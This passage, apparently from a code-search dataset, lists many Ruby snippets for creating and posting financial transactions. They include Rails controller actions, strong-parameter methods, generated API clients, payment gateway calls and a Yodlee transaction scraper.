respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def postTransactionComplete( transaction_id, paypal_doexpresscheckoutpayment, user_id, entity_id)\n params = Hash.new\n params['transaction_id'] = transaction_id\n params['paypal_doexpresscheckoutpayment'] = paypal_doexpresscheckoutpayment\n params['user_id'] = user_id\n params['entity_id'] = entity_id\n return doCurl(\"post\",\"/transaction/complete\",params)\n end", "def transactions_post_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.transactions_post ...'\n end\n # resource path\n local_var_path = '/api/v1/transactions'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'addrs'] = opts[:'addrs'] if !opts[:'addrs'].nil?\n query_params[:'confirmed'] = opts[:'confirmed'] if !opts[:'confirmed'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Object' \n\n # auth_names\n auth_names = opts[:auth_names] || ['csrfAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#transactions_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n @transaction = Transaction.new\n @transaction.amount = params[:amount]\n @transaction.from_account = Account.find_by(account_num: params[:account_num])\n @transaction.status = 'pending'\n @transaction.trans_type = 'deposit'\n @transaction.trans_from = User.find(session[:user_id])\n @transaction.save\n redirect_to accounts_path\n end", "def transaction_params\n params.require(:transaction).permit(:name, :date, :amount, :action)\n end", "def create\n @transaction = Transaction.new(params[:transaction])\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render json: @transaction, status: :created, location: @transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction }\n format.json { render action: 'show', status: :created, location: @transaction }\n else\n format.html { render action: 'new' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n # format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n # format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = Transaction.new(transaction_params)\n account = Account.find(@transaction.accounts_id)\n if account.limite < @transaction.valor\n flash[:error] = \"Valor da Transação excede ao limite da conta\"\n return redirect_to transactions_path\n end\n \n doneTransaction = account.beginTransaction(@transaction.tipo,@transaction.valor,@transaction.recipient)\n unless doneTransaction\n flash[:error] = account.errors.first\n return redirect_to transactions_path\n end\n\n\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = Transaction.new(params[:transaction])\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render json: @transaction, status: :created, location: @transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n account = Account.find(params[:account_id].to_i)\n @transaction = account.transactions.build(transaction_params)\n if @transaction.save\n account.update(balance: account.get_balance)\n transaction_json = TransactionSerializer.new(@transaction).serialized_json\n render json: transaction_json\n else\n render json: {\n errors: @transaction.errors.full_messages\n }\n end\n end", "def create\n @user = User.find(session[:user_id])\n @transaction = Transaction.new(params[:transaction].merge({:payer_id => session[:user_id]}))\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to(@transaction, :notice => 'Transaction was successfully created.') }\n format.xml { render :xml => @transaction, :status => :created, :location => @transaction }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = Transaction.new(transaction_params)\n @transaction.stamp = Time.now\n\n respond_to do |format|\n if @transaction.save\n @transaction.customer.lastmodified = @transaction.stamp\n @transaction.customer.balance = @transaction.customer.balance + @transaction.amount\n @transaction.customer.save\n\n format.html { redirect_to @transaction.customer }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def transaction_params\n params.require(:transaction).permit(:user_id, :account_id, :transaction_endpoint_id, :transfer_to, :category_id, :type, :amount, :transaction_at, :status)\n end", "def create\n @transaction = Transaction.new(transaction_params)\n\n # rollback all db records once one fail\n transaction = @transaction.transaction do\n amount = transaction_params.dig(:amount).to_d\n @transaction.user.apply_withdrawal(amount)\n @transaction.transaction_with.apply_deposite(amount)\n # create a second transaction record for depoiste, this record useful for\n # history\n Transaction.create(\n amount: @transaction.amount, user: @transaction.transaction_with,\n transaction_state: 'deposite', transaction_with: @transaction.user\n )\n @transaction.save\n end\n\n respond_to do |format|\n if transaction\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to transactions_path,\n notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n @users = User.order(:name)\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n result = CreateTransaction.new(transaction_params, @merchant).call\n\n if result.errors?\n render json: { errors: result.errors }, status: :unprocessable_entity\n else\n render json: result.transaction.to_json, status: :created\n end\n end", "def transaction_params\n params.require(:transaction).permit(:amount, :trans_type, :status, :trans_from_id, :trans_to_id, :start_date, :end_date, :from_account_id, :to_account_id)\n end", "def save\n\t\t@connection.transactions.save\n\tend", "def create\n @transaction = current_user.transactions.new(params[:transaction])\n \n respond_to do |format|\n if @transaction.save\n format.html { redirect_to transactions_path, notice: 'Transaction was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end", "def create\n respond_to do |format|\n @transaction = Transaction.new(transaction_params)\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n \n end\n end", "def transactions\n JSON.parse(call_blockchain_api(\"transactions\"))\n end", "def create\n @transaction_request = TransactionRequest.new(transaction_request_params)\n\n if @transaction_request.save\n render :show, status: :created, location: @transaction_request\n else\n render json: @transaction_request.errors, status: :unprocessable_entity\n end\n end", "def createrawtransaction(transactionid = nil, address_amount)\n @api.request 'createrawtransaction', transactionid, address_amount\n end", "def create\n transaction = current_user.transactions.new(transaction_params)\n if transaction.save\n new_transaction = current_user.transactions.new\n new_transaction.payments.build\n flash[:success] = 'Transaction created successfully.'\n render :success, locals: { transaction: transaction, new_transaction: new_transaction, transacted_at: params[:transaction][:transacted_at] }\n else\n flash[:failure] = transaction.errors.full_messages.to_sentence\n render :failure, locals: { transaction: transaction } # TODO: Check n Remove locals\n end\n end", "def create\n @tx = Tx.new(tx_params)\n\n respond_to do |format|\n if @tx.save\n format.html { redirect_to @tx, notice: 'Tx was successfully created.' }\n format.json { render :show, status: :created, location: @tx }\n else\n format.html { render :new }\n format.json { render json: @tx.errors, status: :unprocessable_entity }\n end\n end\n end", "def send_transaction\n body = merchant_parameters_base64_json\n\n headers = { }\n headers['Content-Length'] = body.size.to_s\n headers['User-Agent'] = \"Active Merchant -- http://activemerchant.org\"\n headers['Content-Type'] = 'application/x-www-form-urlencoded'\n\n # Return the raw response data\n ssl_post(Sermepa.operations_url, \"entrada=\"+CGI.escape(body), headers)\n end", "def transactions_post_with_http_info(method, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.transactions_post ...'\n end\n # verify the required parameter 'method' is set\n if @api_client.config.client_side_validation && method.nil?\n fail ArgumentError, \"Missing the required parameter 'method' when calling DefaultApi.transactions_post\"\n end\n # resource path\n local_var_path = '/transactions'\n\n # query parameters\n query_params = {}\n query_params[:'method'] = method\n query_params[:'amount'] = opts[:'amount'] if !opts[:'amount'].nil?\n query_params[:'mobile'] = opts[:'mobile'] if !opts[:'mobile'].nil?\n query_params[:'holdername'] = opts[:'holdername'] if !opts[:'holdername'].nil?\n query_params[:'cardnumber'] = opts[:'cardnumber'] if !opts[:'cardnumber'].nil?\n query_params[:'cvv'] = opts[:'cvv'] if !opts[:'cvv'].nil?\n query_params[:'exp'] = opts[:'exp'] if !opts[:'exp'].nil?\n query_params[:'currency'] = opts[:'currency'] if !opts[:'currency'].nil?\n query_params[:'account'] = opts[:'account'] if !opts[:'account'].nil?\n query_params[:'reference'] = opts[:'reference'] if !opts[:'reference'].nil?\n query_params[:'genericmsg'] = opts[:'genericmsg'] if !opts[:'genericmsg'].nil?\n query_params[:'token'] = opts[:'token'] if !opts[:'token'].nil?\n query_params[:'bouquet'] = opts[:'bouquet'] if !opts[:'bouquet'].nil?\n query_params[:'payoption'] = opts[:'payoption'] if !opts[:'payoption'].nil?\n query_params[:'meternumber'] = opts[:'meternumber'] if !opts[:'meternumber'].nil?\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['apipassword', 'apiusername']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse200')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#transactions_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def transaction_params\n params.require(:transaction).permit(:entry, :item, :amount, :currency, :transaction_method, :transacted_at, :receipt_url, :notes)\n end", "def create\n @transaction = Transaction.new(transaction_params)\n @flat_details = Flat.find_by_id(transaction_params[:flat_id])\n @flat_details.balance_amount = @flat_details.balance_amount.to_i - transaction_params[:debit].to_i\n @transaction.balance = @flat_details.balance_amount\n @flat_details.save\n respond_to do |format|\n if @transaction.save\n\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render action: 'show', status: :created, location: @transaction }\n else\n format.html { render action: 'new' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = current_user.transactions.build(params[:transaction])\n\n respond_to do |format|\n if @transaction.save\n #TransactionMailer.transaction_created(Friend.find(@transaction.friend_id)).deliver\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render json: @transaction, status: :created, location: @transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = Transaction.new(params[:transaction])\n @transaction.created_by = @created_by\n @transaction.user_id= @created_by\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to(@transaction, :notice => 'Transaction was successfully created.') }\n format.xml { render :xml => @transaction, :status => :created, :location => @transaction }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def transaction_params\n params.require(:transaction).permit(:accounts_id, :valor, :tipo, :usuario_id,:recipient)\n end", "def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def transaction_params\n params.require(:transaction).permit(:user_id, :transaction_with_id, :transaction_state, :amount)\n end", "def create\n @item_transaction = ItemTransaction.new(params[:item_transaction])\n\n respond_to do |format|\n if @item_transaction.save\n format.html { redirect_to @item_transaction, notice: 'Item transaction was successfully created.' }\n format.json { render json: @item_transaction, status: :created, location: @item_transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item_transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def transactions(acct)\n unless Object.const_defined? \"Johnson\"\n raise \"Johnson not found. Install the johnson gem, or use simple_transactions instead.\"\n end\n\n sc = @agent.cookies.detect{|c| c.name == \"JSESSIONID\"}\n\n post_headers = {\n \"callCount\" => \"1\",\n \"httpSessionId\" => sc.value,\n \"scriptSessionId\" => @script_sess,\n \"c0-scriptName\" => \"TxnService\",\n \"c0-methodName\" => \"searchTransactions\",\n \"c0-id\" => \"0\",\n \"c0-e1\" => \"number:10000004\",\n \"c0-e2\" => \"string:17CBE222A42161A3FF450E47CF4C1A00\",\n \"c0-e3\" => \"null:null\",\n \"c0-e5\" => \"string:MM%2Fdd%2Fyyyy\",\n \"c0-e6\" => \"string:USD\",\n \"c0-e7\" => \"string:PST\",\n \"c0-e8\" => \"string:.\",\n \"c0-e9\" => \"string:%2C\",\n \"c0-e10\" => \"string:%23%23%23%2C%23%230.%23%23\",\n \"c0-e4\" => \"Object_Object:{dateFormat:reference:c0-e5, currencyCode:reference:c0-e6, timeZone:reference:c0-e7, decimalSeparator:reference:c0-e8, groupingSeparator:reference:c0-e9, groupPattern:reference:c0-e10}\",\n \"c0-e11\" => \"number:1\",\n \"c0-e12\" => \"boolean:false\",\n \"c0-param0\" => \"Object_Object:{cobrandId:reference:c0-e1, applicationId:reference:c0-e2, csit:reference:c0-e3, iBean:reference:c0-e4, loggingLevel:reference:c0-e11, loggingEnabled:reference:c0-e12}\",\n \"c0-e13\" => \"string:#{acct.id}\",\n \"c0-e14\" => \"string:-1\",\n \"c0-e15\" => \"null:null\",\n \"c0-e16\" => \"string:-1\",\n \"c0-e17\" => \"null:null\",\n \"c0-e18\" => \"null:null\",\n \"c0-e19\" => \"null:null\",\n \"c0-e20\" => \"string:-1\",\n \"c0-e21\" => \"null:null\",\n \"c0-e22\" => \"number:-1\",\n \"c0-e23\" => \"number:-1\",\n \"c0-e24\" => \"boolean:false\",\n \"c0-e25\" => \"string:\",\n \"c0-e26\" => \"boolean:false\",\n \"c0-e27\" => \"string:\",\n \"c0-e28\" => \"string:\",\n \"c0-e29\" => \"string:\",\n \"c0-e30\" => \"string:\",\n \"c0-e31\" => \"string:\",\n \"c0-e32\" => \"boolean:false\",\n \"c0-e33\" => \"string:0.0\",\n \"c0-e34\" => \"string:0\",\n \"c0-e35\" => \"null:null\",\n \"c0-e36\" => \"null:null\",\n \"c0-e37\" => \"string:allTransactions\",\n \"c0-e38\" => \"string:InProgressAndCleared\",\n \"c0-e39\" => \"number:999\",\n \"c0-e40\" => \"string:\",\n \"c0-e41\" => \"null:null\",\n \"c0-e42\" => \"null:null\",\n \"c0-e43\" => \"string:\",\n \"c0-e44\" => \"null:null\",\n \"c0-e45\" => \"string:ALL\",\n \"c0-e46\" => \"string:false\",\n \"c0-e47\" => \"null:null\",\n \"c0-e48\" => \"string:0.0\",\n \"c0-e49\" => \"string:0.0\",\n \"c0-e50\" => \"string:ALL\",\n \"c0-param1\" => \"Object_Object:{itemAccountId:reference:c0-e13, categoryId:reference:c0-e14, categoryLevelId:reference:c0-e15, dateRangeId:reference:c0-e16, fromDate:reference:c0-e17, toDate:reference:c0-e18, groupBy:reference:c0-e19, groupAccountId:reference:c0-e20, filterTranasctions:reference:c0-e21, transactionTypeId:reference:c0-e22, transactionStatusId:reference:c0-e23, ignorePendingTransactions:reference:c0-e24, includeBusinessExpense:reference:c0-e25, includeTransfer:reference:c0-e26, includeReimbursableExpense:reference:c0-e27, fromDate1:reference:c0-e28, toDate1:reference:c0-e29, includeMedicalExpense:reference:c0-e30, includeTaxDeductible:reference:c0-e31, includePersonalExpense:reference:c0-e32, transactionAmount:reference:c0-e33, transactionAmountRange:reference:c0-e34, billStatementRange:reference:c0-e35, criteria:reference:c0-e36, module:reference:c0-e37, transactionType:reference:c0-e38, pageSize:reference:c0-e39, sharedMemId:reference:c0-e40, overRideDateRangeId:reference:c0-e41, overRideContainer:reference:c0-e42, searchString:reference:c0-e43, pageId:reference:c0-e44, splitTypeTransaction:reference:c0-e45, isAvailableBalance:reference:c0-e46, categoryIds:reference:c0-e47, currentBalance:reference:c0-e48, availableBalance:reference:c0-e49, container:reference:c0-e50}\",\n \"c0-param2\" => \"boolean:true\",\n \"batchId\" => \"3\"\n }\n\n page = @agent.post(\n 'https://moneycenter.yodlee.com/moneycenter/dwr/call/plaincall/TxnService.searchTransactions.dwr',\n post_headers\n )\n\n j = Johnson::Runtime.new\n\n script = page.body\n\n # Remove the last line (a call to DWREngine), and execute\n script = script.strip.sub(/\\n[^\\n]+\\Z/m, '')\n\n # Remove a leading throw statement.\n script = script.sub(/\\A.*?\\n+/, '')\n\n j.evaluate script\n\n if x = j['s5']\n transactions = x.map do |e|\n transaction = Yodlee::Transaction.new\n transaction.account_name = e.accountName\n transaction.currency = e.amount.cobCurrencyCode\n transaction.amount = e.amount.cobPreciseAmount\n transaction.description = e.description\n transaction.account_id = e.itemAccountId\n transaction.fit_id = e.transactionId\n transaction.status = e['type']['type']\n\n # Re-parse in order to get a real Time, not a Johnson::SpiderMonkey::RubyLandProxy.\n transaction.date = Time.parse(e.date.to_s)\n transaction\n end\n\n return transactions\n end\n\n return []\n end", "def create\n @transaction = Transaction.new#Transaction.new(transaction_params)\n prepare_record_for_save(@transaction)\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render action: 'show', status: :created, location: @transaction }\n else\n format.html { render action: 'new' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @recurrent_transaction = RecurrentTransaction.new(recurrent_transaction_params)\n\n respond_to do |format|\n if @recurrent_transaction.save\n format.html { redirect_to @recurrent_transaction, notice: 'Recurrent transaction was successfully created.' }\n format.json { render :show, status: :created, location: @recurrent_transaction }\n else\n format.html { render :new }\n format.json { render json: @recurrent_transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def save\n @connection.transactions.save\n end", "def transactions(count = 10)\n @client.transactions(name, count)\n end", "def create\n @az_balance_transaction = AzBalanceTransaction.new(params[:az_balance_transaction])\n\n respond_to do |format|\n if @az_balance_transaction.save\n format.html { redirect_to(@az_balance_transaction, :notice => 'AzBalanceTransaction was successfully created.') }\n format.xml { render :xml => @az_balance_transaction, :status => :created, :location => @az_balance_transaction }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @az_balance_transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def transactions(options = {})\n @gateway.customer.transactions(id, options)\n end", "def transaction_params\n params.require(:transaction).permit(:amount, :type_deposit, :type_withdrawal, :type_transfer, :type_fee, :to_id, :from_id)\n end", "def transaction_params\n params.require(:transaction).permit(:payee, :notes, :txn_type, :occurs, :amount)\n end", "def create\n @bitcoin_transaction = BitcoinTransaction.new(bitcoin_transaction_params)\n\n respond_to do |format|\n if @bitcoin_transaction.save\n format.html { redirect_to @bitcoin_transaction, notice: 'Bitcoin transaction was successfully created.' }\n format.json { render :show, status: :created, location: @bitcoin_transaction }\n else\n format.html { render :new }\n format.json { render json: @bitcoin_transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n nonce_from_the_client = params[:payment_method_nonce]\n # Use payment method nonce here...\n result = Braintree::Transaction.sale(\n :amount => params[:total_cost],\n :payment_method_nonce => nonce_from_the_client,\n :options => {\n :submit_for_settlement => true\n }\n )\n\n if result.success?\n flash[:notice] = \"success!: #{result.transaction.id}\"\n new_payment = Payment.create(\n total_cost: params[:total_cost])\n\n new_payment.save\n main_reservation = Reservation.find(params[:reservation_id])\n reservation = Reservation.where(check_in_date: main_reservation.check_in_date, user_id: main_reservation.user_id)\n reservation.each do |ind_record|\n ind_record.payment_id = new_payment.id\n ind_record.save\n end\n elsif result.transaction\n flash[:notice] = \"Error processing transaction:\"\n puts \" code: #{result.transaction.processor_response_code}\"\n puts \" text: #{result.transaction.processor_response_text}\"\n else\n flash[:notice] = result.errors\n end\n end", "def create\n @transaction = Transaction.new(transaction_params.merge(user_id: current_user.id))\n @transaction.groups << Group.where(id: params[:transaction][:group_ids])\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to transactions_path, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n cb = Coin.retrieve_from_api(transaction_params[\"CB_apikey\"])\n cs = Coin.retrieve_from_api(transaction_params[\"CS_apikey\"])\n\n @transaction = Transaction.new(transaction_params.merge(wallet_id: current_user.wallet.id, CBought_id: cb, CSold_id: cs))\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: \"Transaction was successfully created.\" }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def transaction_params\n params.require(:transaction).permit(:t_name, :description, :t_type, :t_amount, :account_id)\n end", "def create\n @ntransaction = Ntransaction.new(ntransaction_params)\n\n respond_to do |format|\n if @ntransaction.save\n format.html { redirect_to @ntransaction, notice: 'Ntransaction was successfully created.' }\n format.json { render :show, status: :created, location: @ntransaction }\n else\n format.html { render :new }\n format.json { render json: @ntransaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @w_transaction = WTransaction.new(w_transaction_params)\n\n respond_to do |format|\n if @w_transaction.save\n format.html { redirect_to @w_transaction, notice: 'W transaction was successfully created.' }\n format.json { render :show, status: :created, location: @w_transaction }\n else\n format.html { render :new }\n format.json { render json: @w_transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def commit(action, xml)\n headers = { 'Content-Type' => 'application/x-qbmsxml',\n 'Content-length' => xml.size.to_s }\n \n # Post to server\n url = get_post_url\n @request = xml\n data = ssl_post(url, xml, headers)\n \n response = parse(action, data)\n message = message_from(response)\n \n # Post Processing - Create the Response object\n case action\n \n when 'session_ticket'\n @response = Response.new(success?(response), message, response, \n :test => test?,\n :authorization => response[:session_ticket]\n )\n @response\n \n else\n @response = Response.new(success?(response), message, response, \n :test => test?,\n :authorization => response[:transaction_id],\n :cvv_result => cvv_result(response),\n :avs_result => avs_result(response)\n ) \n end\n end", "def getTransactions\n\t\t\n\tend", "def transaction_params\n params.require(:transaction, :account_id).permit(:transactionNumber, :description, :amount, :status, :currentBalance, :created_at)\n end", "def ntransaction_params\n params.require(:ntransaction).permit(:datetransaction, :transactiontype, :amount, :description, :category_id, :customer_id)\n end", "def create\n @transaction = @transactions.build(transaction_params)\n @transaction.account = current_user.account\n if @transaction.save\n redirect_to @transaction, notice: \"#{@transaction.transaction_type_name} was successfully placed.\"\n else\n render :new \n end\n end", "def commit(xml)\n url = (test? ? test_url : live_url)\n\n response = parse(ssl_post(url, post_data(xml), 'Content-Type' => 'application/x-www-form-urlencoded;charset=UTF-8'))\n\n Response.new(\n success_from(response),\n message_from(response),\n response,\n authorization: authorization_from(response),\n test: test?,\n error_code: error_code_from(response)\n )\n end", "def create\n @transaction = Transaction.new(params[:transaction])\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to admin_transaction_path(@transaction), notice: 'Transaction was successfully created.' }\n format.json { render json: @transaction, status: :created, location: @transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = Transaction.new(params[:transaction])\n @account = @transaction.account\n @all_categories = Category.sorted_find_all current_user.default_workgroup\n @all_accounts = Account.find(:all)\n @transaction_types = TransactionType.find(:all)\n\n respond_to do |format|\n if @transaction.save\n flash[:notice] = 'Transaction was successfully created.'\n rd_url = url_for(@account)+ \"#\" + @transaction.id.to_s()\n format.html { redirect_to(rd_url) }\n format.xml { render :xml => @transaction, :status => :created, :location => @transaction }\n else\n @all_categories = Category.sorted_find_all current_user.default_workgroup\n @all_accounts = Account.find(:all)\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @wallet_transaction = TransactionCreate.perform(transaction_params: wallet_transaction_params,\n user: current_user)\n respond_to do |format|\n if @wallet_transaction.save\n format.html { redirect_to @wallet_transaction, notice: 'Wallet transaction was successfully created.' }\n format.json { render :show, status: :created, location: @wallet_transaction }\n else\n format.html { render :new }\n format.json { render json: @wallet_transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def transactions\n JSON.parse(response.body).fetch('transactions')\n end", "def create\n @transaction = Transaction.new(transaction_params)\n @transaction.sender = current_user\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def transaction_params\n params.require(:transaction).permit(:t_user1_id, :t_user2_id, :amount)\n end", "def create\n @transaction = Transaction.new(transaction_params.merge(user: current_user))\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render action: 'show', status: :created, location: @transaction }\n else\n format.html { render action: 'new' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(resource, params)\n case resource\n when \"pedidos\", \"place_order\", \"new_order\" then url = \"/pedidos\"\n when \"envios\", \"shipping\" then url = \"/envios\"\n else url = \"/#{resource}\"\n end\n\n post_request(url, params)\n end", "def create\n @transaction = Transaction.new(transaction_params)\n respond_to do |format|\n @transaction.user = current_user\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @transaction = Transaction.new(transaction_params)\n\n # Assigns the correct user_id in case the user puts another user's ID\n\n @transaction.user_id = User.find_by(api_key: params[:api_key]).id\n\n if @transaction.save\n\n @coin = Coin.find(@transaction.coin_id)\n\n # If deposit, increment @coin's value, else decrement \n # Also, send email if value is less than 4\n\n if @transaction.transaction_type == 1\n @coin.update_attributes(value: @coin.value+1)\n if @coin.value < 4\n LowFundsMailer.low_funds(@coin).deliver\n end\n\n else\n\n # If withdraw, must ensure the value is > 0\n\n if (@coin.value > 0)\n @coin.update_attributes(value: @coin.value-1)\n if @coin.value < 4\n LowFundsMailer.low_funds(@coin).deliver\n end\n else\n render json: [\"Sorry! There are no more of those coins.\"], status: 422\n end\n end\n @coin.save\n\n # Return the transaction \n \n render json: @transaction\n else\n render json: @transaction.errors.full_messages, status: 422\n end\n end", "def create_transfer\n @transaction = Transaction.new(transaction_params)\n @transaction.amount = @transaction.amount * -1\n @transaction.sign = -1\n\n @transaction_to = Transaction.new(transaction_params)\n @transaction_to.account = Account.find params[:transaction][:account_to_id].to_i\n @transaction_to.sign = 1\n\n respond_to do |format|\n success = @transaction.valid? && @transaction_to.valid?\n\n if success\n Transaction.transaction do\n begin\n @transaction.save\n @transaction_to.save\n rescue ActiveRecord::StatementInvalid\n @transaction.errors.add(:base,'Invalid transfer')\n success = false\n end\n end\n end\n\n if success\n format.html { redirect_to @transaction.account, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction.account }\n else\n format.html { render :deposit }\n format.json { render json: @transaction.account.errors, status: :unprocessable_entity }\n end\n end\n end", "def transaction_params\n params.require(:transaction).permit(:transaction_type, :user_id, :coin_id)\n end", "def post_transactions_with_http_info(transaction_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TransactionsApi.post_transactions ...'\n end\n # verify the required parameter 'transaction_request' is set\n if @api_client.config.client_side_validation && transaction_request.nil?\n fail ArgumentError, \"Missing the required parameter 'transaction_request' when calling TransactionsApi.post_transactions\"\n end\n # resource path\n local_var_path = '/transactions'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(transaction_request)\n auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TransactionResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TransactionsApi#post_transactions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n @admin_transaction = AdminTransaction.new(admin_transaction_params)\n if @admin_transaction.save\n render json: @admin_transaction, status: :created, location: @admin_transaction\n else\n render json: @admin_transaction.errors, status: :unprocessable_entity\n end\n end", "def create\n @transaction = 